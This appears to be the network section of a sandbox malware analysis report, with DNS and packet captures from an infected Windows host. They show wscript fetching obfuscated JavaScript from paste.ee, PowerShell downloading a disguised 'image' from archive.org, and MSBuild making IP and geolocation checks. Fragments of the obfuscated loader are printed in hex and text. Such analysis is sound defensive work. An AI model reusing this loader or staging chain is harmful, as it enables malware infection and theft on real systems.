Apr 28, 2025 13:24:39.045752048 CEST	1.1.1.1	192.168.2.6	0x6c7d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.045752048 CEST	1.1.1.1	192.168.2.6	0x6c7d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.045752048 CEST	1.1.1.1	192.168.2.6	0x6c7d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.045752048 CEST	1.1.1.1	192.168.2.6	0x6c7d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.045752048 CEST	1.1.1.1	192.168.2.6	0x6c7d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.702446938 CEST	1.1.1.1	192.168.2.6	0xf91e	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.702446938 CEST	1.1.1.1	192.168.2.6	0xf91e	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.702446938 CEST	1.1.1.1	192.168.2.6	0xf91e	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.702446938 CEST	1.1.1.1	192.168.2.6	0xf91e	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.702446938 CEST	1.1.1.1	192.168.2.6	0xf91e	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.702446938 CEST	1.1.1.1	192.168.2.6	0xf91e	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 13:24:39.702446938 CEST	1.1.1.1	192.168.2.6	0xf91e	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

archive.org

ia801700.us.archive.org

reallyfreegeoip.org

c.pki.goog

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49685	23.186.113.60	80	7148	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Apr 28, 2025 13:24:08.595148087 CEST	178	OUT	GET /d/fa7OMk20/0 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-ch User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
Apr 28, 2025 13:24:08.747081041 CEST	391	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Apr 2025 11:24:08 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://paste.ee/d/fa7OMk20/0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49691	192.178.49.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 28, 2025 13:24:23.544055939 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 28, 2025 13:24:23.692045927 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 28 Apr 2025 10:50:42 GMT Expires: Mon, 28 Apr 2025 11:40:42 GMT Cache-Control: public, max-age=3000 Age: 2021 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49696	158.101.44.242	80	6720	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Apr 28, 2025 13:24:39.211945057 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 28, 2025 13:24:39.373764038 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 11:24:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 85c12f6e3814231d304a6cc30eababb9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.244.56.186</body></html>
Apr 28, 2025 13:24:39.377840996 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 28, 2025 13:24:39.537199974 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 11:24:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 69944972459f400f7970de768e0ff8cb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.244.56.186</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49686	23.186.113.60	443	7148	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 11:24:09 UTC	154	OUT	GET /d/fa7OMk20/0 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
2025-04-28 11:24:10 UTC	953	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Apr 2025 11:24:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1448273 Connection: close Vary: Accept-Encoding Cache-Control: max-age=2592000 X-Varnish: 43979760 44108644 Age: 50 Via: 1.1 varnish (Varnish/6.2) Accept-Ranges: bytes Strict-Transport-Security: max-age=63072000 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
2025-04-28 11:24:10 UTC	15431	IN	Data Raw: 0d 0a 76 61 72 20 71 75 65 61 6c 20 3d 20 28 5b 5d 2b 5b 20 20 28 5b 5d 5b 22 64 65 6e 74 69 6c 22 5d 2b 5b 5d 29 5b 30 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 22 5d 2b 5b 5d 29 5b 31 5d 20 2b 20 28 5b 5d 5b 22 6a 65 72 6b 69 6e 67 22 5d 2b 5b 5d 29 5b 32 5d 20 2b 20 28 5b 5d 5b 22 73 75 62 73 74 61 6e 64 61 72 64 6c 79 22 5d 2b 5b 5d 29 5b 33 5d 20 2b 20 28 5b 5d 5b 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 Data Ascii: var queal = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 5d 20 2b 20 28 5b 5d 5b 22 73 6c 69 63 65 22 5d 2b 5b 5d 29 5b 39 5d 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 29 5b 36 5d 3b 20 20 20 20 20 0d 0a 76 61 72 20 4e 69 63 6f 70 6f 6c 69 74 61 6e 20 3d 20 28 5b 20 20 28 5b 5d 5b 22 64 65 6e 74 69 6c 22 5d 2b 5b 5d 29 5b 30 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 22 5d 2b 5b 5d 29 5b 31 5d 20 2b 20 28 5b 5d 5b 22 6a 65 72 6b 69 6e 67 22 5d 2b 5b 5d 29 5b 32 5d 20 2b 20 28 5b 5d 5b 22 73 75 62 73 74 61 6e 64 61 72 64 6c 79 22 5d 2b 5b 5d 29 5b 33 5d 20 2b 20 28 5b 5d 5b 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d Data Ascii: 7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["pansinusitis"])[6]; var Nicopolitan = ([ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[]
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 73 6b 69 6e 63 61 72 65 22 5d 2b 5b 5d 29 5b 31 5d 20 2b 20 28 5b 5d 5b 22 6a 65 72 6b 69 6e 67 22 5d 2b 5b 5d 29 5b 32 5d 20 2b 20 28 5b 5d 5b 22 73 75 62 73 74 61 6e 64 61 72 64 6c 79 22 5d 2b 5b 5d 29 5b 33 5d 20 2b 20 28 5b 5d 5b 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 5d 20 2b 20 28 5b 5d 5b 22 73 6c 69 63 65 22 5d 2b 5b 5d 29 5b 39 5d 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 29 5b 36 5d 3b 20 20 20 20 Data Ascii: skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["pansinusitis"])[6];
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 0a 76 61 72 20 4e 69 63 6f 70 6f 6c 69 74 61 6e 20 3d 20 28 5b 20 20 28 5b 5d 5b 22 64 65 6e 74 69 6c 22 5d 2b 5b 5d 29 5b 30 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 22 5d 2b 5b 5d 29 5b 31 5d 20 2b 20 28 5b 5d 5b 22 6a 65 72 6b 69 6e 67 22 5d 2b 5b 5d 29 5b 32 5d 20 2b 20 28 5b 5d 5b 22 73 75 62 73 74 61 6e 64 61 72 64 6c 79 22 5d 2b 5b 5d 29 5b 33 5d 20 2b 20 28 5b 5d 5b 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 Data Ascii: var Nicopolitan = ([ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 5d 20 2b 20 28 5b 5d 5b 22 73 6c 69 63 65 22 5d 2b 5b 5d 29 5b 39 5d 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 29 5b 36 5d 3b 20 20 20 20 20 0d 0a 76 61 72 20 4e 69 63 6f 70 6f 6c 69 74 61 6e 20 3d 20 28 5b 20 20 28 5b 5d 5b 22 64 65 6e 74 69 6c 22 5d 2b 5b 5d 29 5b 30 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 22 5d 2b 5b 5d 29 5b 31 5d 20 2b 20 28 5b 5d 5b 22 Data Ascii: "postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["pansinusitis"])[6]; var Nicopolitan = ([ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 69 6e 67 22 5d 2b 5b 5d 29 5b 32 5d 20 2b 20 28 5b 5d 5b 22 73 75 62 73 74 61 6e 64 61 72 64 6c 79 22 5d 2b 5b 5d 29 5b 33 5d 20 2b 20 28 5b 5d 5b 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 5d 20 2b 20 28 5b 5d 5b 22 73 6c 69 63 65 22 5d 2b 5b 5d 29 5b 39 5d 5d 2b 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 29 5b 37 5d 3b 20 20 0d 0a 76 61 72 20 61 66 66 72 6f 6e 74 69 6e 67 20 3d 20 28 5b 5d 2b 5b 20 20 28 5b 5d 5b 22 Data Ascii: ing"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]+[]["swimsuits"])[7]; var affronting = ([]+[ ([]["
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 6e 74 69 6c 22 5d 2b 5b 5d 29 5b 30 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 22 5d 2b 5b 5d 29 5b 31 5d 20 2b 20 28 5b 5d 5b 22 6a 65 72 6b 69 6e 67 22 5d 2b 5b 5d 29 5b 32 5d 20 2b 20 28 5b 5d 5b 22 73 75 62 73 74 61 6e 64 61 72 64 6c 79 22 5d 2b 5b 5d 29 5b 33 5d 20 2b 20 28 5b 5d 5b 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 5d 20 2b 20 28 5b 5d 5b 22 73 6c 69 63 65 22 5d 2b 5b 5d 29 5b 39 5d 5d 5b 22 70 6c Data Ascii: ntil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substandardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["pl
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 5d 20 2b 20 28 5b 5d 5b 22 73 6c 69 63 65 22 5d 2b 5b 5d 29 5b 39 5d 5d 2b 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 29 5b 37 5d 3b 20 20 0d 0a 76 61 72 20 61 66 66 72 6f 6e 74 69 6e 67 20 3d 20 28 5b 5d 2b 5b 20 20 28 5b 5d 5b 22 64 65 6e 74 69 6c 22 5d 2b 5b 5d 29 5b 30 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 22 5d 2b 5b 5d 29 5b 31 5d 20 2b 20 28 5b 5d 5b 22 6a 65 72 6b 69 6e 67 22 5d 2b 5b 5d 29 5b 32 5d 20 2b 20 28 5b 5d 5b 22 73 75 62 73 74 61 Data Ascii: ["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]+[]["swimsuits"])[7]; var affronting = ([]+[ ([]["dentil"]+[])[0] + ([]["skincare"]+[])[1] + ([]["jerking"]+[])[2] + ([]["substa
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 61 72 64 6c 79 22 5d 2b 5b 5d 29 5b 33 5d 20 2b 20 28 5b 5d 5b 22 70 6f 73 74 70 75 62 65 73 63 65 6e 74 22 5d 2b 5b 5d 29 5b 34 5d 20 2b 20 28 5b 5d 5b 22 70 61 6e 73 69 6e 75 73 69 74 69 73 22 5d 2b 5b 5d 29 5b 35 5d 20 2b 20 28 5b 5d 5b 22 70 72 69 76 65 64 22 5d 2b 5b 5d 29 5b 36 5d 20 2b 20 28 5b 5d 5b 22 73 6b 69 6e 63 61 72 65 4d 61 70 22 5d 2b 5b 5d 29 5b 37 5d 20 2b 20 28 5b 5d 5b 22 73 77 69 6d 73 75 69 74 73 22 5d 2b 5b 5d 29 5b 38 5d 20 2b 20 28 5b 5d 5b 22 73 6c 69 63 65 22 5d 2b 5b 5d 29 5b 39 5d 5d 5b 22 70 6c 65 75 72 6f 70 68 6f 72 75 73 22 5d 29 5b 38 5d 3b 20 20 20 20 20 0d 0a 0d 0a 0d 0a 76 61 72 20 74 65 74 72 61 6f 64 6f 6e 20 3d 20 28 5b 5d 2b 5b 49 6e 66 69 6e 69 74 79 5d 5b 2b 5b 5d 5d 29 5b 30 5d 2c 20 20 0d 0a 20 20 20 20 48 69 Data Ascii: ardly"]+[])[3] + ([]["postpubescent"]+[])[4] + ([]["pansinusitis"]+[])[5] + ([]["prived"]+[])[6] + ([]["skincareMap"]+[])[7] + ([]["swimsuits"]+[])[8] + ([]["slice"]+[])[9]]["pleurophorus"])[8]; var tetraodon = ([]+[Infinity][+[]])[0], Hi
2025-04-28 11:24:10 UTC	16384	IN	Data Raw: 3d 20 28 5b 5d 2b 5b 49 6e 66 69 6e 69 74 79 5d 5b 2b 5b 5d 5d 29 5b 31 5d 2c 20 20 0d 0a 20 20 20 20 65 6d 62 6c 61 7a 65 64 20 3d 20 28 5b 5d 2b 5b 49 6e 66 69 6e 69 74 79 5d 5b 2b 5b 5d 5d 29 5b 32 5d 2c 20 20 0d 0a 20 20 20 20 73 70 65 61 72 68 65 61 64 20 3d 20 28 5b 5d 2b 5b 49 6e 66 69 6e 69 74 79 5d 5b 2b 5b 5d 5d 29 5b 33 5d 2c 20 20 0d 0a 20 20 20 20 72 65 74 72 61 76 65 6c 20 3d 20 28 5b 5d 2b 5b 49 6e 66 69 6e 69 74 79 5d 5b 2b 5b 5d 5d 29 5b 34 5d 2c 20 20 0d 0a 20 20 20 20 61 6e 73 77 65 72 20 3d 20 28 5b 5d 2b 5b 49 6e 66 69 6e 69 74 79 5d 5b 2b 5b 5d 5d 29 5b 35 5d 2c 20 20 0d 0a 20 20 20 20 61 6e 65 63 68 6f 69 63 20 3d 20 28 5b 5d 2b 5b 49 6e 66 69 6e 69 74 79 5d 5b 2b 5b 5d 5d 29 5b 36 5d 2c 20 20 0d 0a 20 20 20 20 69 6e 74 65 72 77 6f Data Ascii: = ([]+[Infinity][+[]])[1], emblazed = ([]+[Infinity][+[]])[2], spearhead = ([]+[Infinity][+[]])[3], retravel = ([]+[Infinity][+[]])[4], answer = ([]+[Infinity][+[]])[5], anechoic = ([]+[Infinity][+[]])[6], interwo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49693	207.241.224.2	443	6852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 11:24:34 UTC	127	OUT	GET /download/new_image_20250413/new_image.jpg HTTP/1.1 User-Agent: Mozilla/5.0 Host: archive.org Connection: Keep-Alive
2025-04-28 11:24:34 UTC	1947	IN	HTTP/1.1 302 Found Server: nginx/1.24.0 Date: Mon, 28 Apr 2025 11:24:34 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Accept-Ranges: bytes Location: https://ia801700.us.archive.org/6/items/new_image_20250413/new_image.jpg Strict-Transport-Security: max-age=15724800 Onion-Location: https://archivep75mbjunhxc6x4j5mwjmomyxb573v42baldlqu56ruil2oiad.onion/download/new_image_20250413/new_image.jpg Content-Security-Policy: report-uri https://archive.org/services/csp-report; default-src ; img-src data: blob:; object-src 'none'; media-src * blob:; connect-src * data:; style-src 'unsafe-inline' https://archive.org/ https://archive.org https://esm.archive.org/ https://esm.ext.archive.org/ https://offshoot.prod.archive.org/ https://av.archive.org/css/ https://av.dev.archive.org/css/ https://accounts.google.com/gsi/ https://synerg.adp.com/; script-src 'nonce-46f6173e753d7c5c6ddd54f96d334d70' https://archive.org/includes/ https://archive.org/includes/ https://archive.org/components/ https://archive.org/components/ https://archive.org/v/ https://archive.org/v/ https://archive.org/upload/app/ https://archive.org/offshoot_assets/ https://archive.org/offshoot_assets/ https://esm.archive.org/ https://esm.ext.archive.org/ https://polyfill.archive.org/v3/polyfill.min.js https://offshoot.prod.archive.org/ https://av.archive.org/ https://av.dev.archive.org/ https://openlibrary.org/query.json https://emularity-user [TRUNCATED] Referrer-Policy: no-referrer-when-downgrade
2025-04-28 11:24:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49694	207.241.233.30	443	6852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 11:24:35 UTC	138	OUT	GET /6/items/new_image_20250413/new_image.jpg HTTP/1.1 User-Agent: Mozilla/5.0 Host: ia801700.us.archive.org Connection: Keep-Alive
